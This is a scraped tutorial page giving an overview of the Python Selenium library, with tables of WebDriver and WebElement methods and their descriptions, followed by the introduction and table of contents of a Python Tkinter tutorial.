    Selenium is a powerful tool for controlling web browsers through programs and performing browser automation. It is functional for all browsers, works on all major OS and its scripts are written in various languages i.e Python, Java, C#, etc, we will be working with Python. Selenium Tutorial covers all topics such as – WebDriver, WebElement, Unit Testing with selenium. This Python Selenium Tutorial covers Selenium from basics to advanced and professional uses.

    Selenium-Python-Tutorial

    Why learn Selenium Python ?

    Selenium Basics

    Selenium Python Basics

    Locating Strategies

    Waits

    Action Chains

    Advanced in Selenium Python –

    Project Examples

    Selenium WebDriver


    Selenium Webdriver is the parent of all methods and classes used in Selenium Python. It is the driving force of Selenium that allows us to perform various operations on multiple elements on a webpage. Driver has various methods and attributes one can use to automate testing in Selenium Python. To check how to use webdriver, visit – Web Driver in Selenium Python . Various methods one can use in selenium Python are –
    MethodDescription

    add_cookieAdds a cookie to your current session.
    backGoes one step backward in the browser history.
    closeCloses the current window.
    create_web_elementCreates a web element with the specified element_id.
    delete_all_cookiesDelete all cookies in the scope of the session.
    delete_cookieDeletes a single cookie with the given name.
    execute_async_scriptAsynchronously Executes JavaScript in the current window/frame.
    execute_scriptSynchronously Executes JavaScript in the current window/frame.
    forwardGoes one step forward in the browser history.
    fullscreen_windowInvokes the window manager-specific ‘full screen’ operation
    get_cookieGet a single cookie by name. Returns the cookie if found, None if not.
    get_cookiesReturns a set of dictionaries, corresponding to cookies visible in the current session.
    get_logGets the log for a given log type
    get_screenshot_as_base64Gets the screenshot of the current window as a base64 encoded string which is useful in embedded images in HTML.
    get_screenshot_as_fileSaves a screenshot of the current window to a PNG image file.
    get_screenshot_as_pngGets the screenshot of the current window as a binary data.
    get_window_positionGets the x, y position of the current window.
    get_window_rectGets the x, y coordinates of the window as well as height and width of the current window.
    get_window_sizeGets the width and height of the current window.
    implicitly_waitSets a sticky timeout to implicitly wait for an element to be found,
    maximize_windowMaximizes the current window that webdriver is using
    minimize_windowInvokes the window manager-specific ‘minimize’ operation
    quitQuits the driver and closes every associated window.
    refreshRefreshes the current page.
    set_page_load_timeoutSet the amount of time to wait for a page load to complete before throwing an error.
    set_script_timeoutSet the amount of time that the script should wait during an execute_async_script call before throwing an error.
    set_window_positionSets the x, y position of the current window. (window.moveTo)
    set_window_rectSets the x, y coordinates of the window as well as height and width of the current window.
    current_urlGets the URL of the current page.
    current_window_handleReturns the handle of the current window.
    page_sourceGets the source of the current page.
    titleReturns the title of the current page.

    Selenium WebElement

    An element can be a tag, property, or anything, it is an instance of class selenium.webdriver.remote.webelement.WebElement. After you find an element on screen using selenium, you might want to click it or find sub-elements, etc. Selenium provides methods around this WebElement of Selenium. To checkout how to use element object in selenium, visit – WebElement in Selenium Python. Various methods one can use with an element in Selenium Python are discussed below –
    Element MethodsDescription
    is_selected()is_selected method is used to check if element is selected or not. It returns a boolean value True or False.
    is_displayed()is_displayed method is used to check if element it visible to user or not. It returns a boolean value True or False.
    is_enabled()is_enabled method is used to check if element is enabled or not. It returns a boolean value True or False.
    get_property()get_property method is used to get properties of an element, such as getting text_length property of anchor tag.
    get_attribute()get_attribute method is used to get attributes of an element, such as getting href attribute of anchor tag.
    send_keys()send_keys method is used to send text to any field, such as input field of a form or even to anchor tag paragraph, etc.
    click()click method is used to click on any element, such as an anchor tag, a link, etc.
    clear()clear method is used to clear text of any field, such as input field of a form or even to anchor tag paragraph, etc.
    screenshot()screenshot method is used to save a screenshot of current element to a PNG file.
    submit()submit method is used to submit a form after you have sent data to a form.
    value_of_css_property()value_of_css_property method is used to get value of a css property for a element.
    locationlocation method is used to get location of element in renderable canvas.
    screenshot_as_pngscreenshot_as_png method is used to gets the screenshot of the current element as binary data.
    parentparent method is used to get internal reference to the WebDriver instance this element was found from.
    sizesize method is used to get size of current element.
    tag_nametag_name method is used to get name of tag you are referring to.
    texttext method is used to get text of current element.
    rectrect method is used to get a dictionary with the size and location of the element.
    screenshot_as_base64screenshot_as_base64 method is used to gets the screenshot of the current element as a base64 encoded string.

    My Personal Notes arrow_drop_up

    Python Tkinter Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 28 Mar, 2021

    Tkinter is the most commonly used library for developing GUI (Graphical User Interface) in Python. It is a standard Python interface to the Tk GUI toolkit shipped with Python. As Tk and Tkinter are available on most of the Unix platforms as well as on the Windows system, developing GUI applications with Tkinter becomes the fastest and easiest.

    TkinterTutorials

    This Tkinter Tutorial will help learning Tkinter from Basics to advance GUI development, including all the necessary functions explained in detail.

    Table of Contents

    Recent Articles on Python TKinter !

    Introduction

    Widgets

    Basic Widgets

    Toplevel Widgets

    Geometry Management

    Binding Functions

    Working with Images in Tkinter

    Tkinter Advance

    Applications and Projects

     


    My Personal Notes arrow_drop_up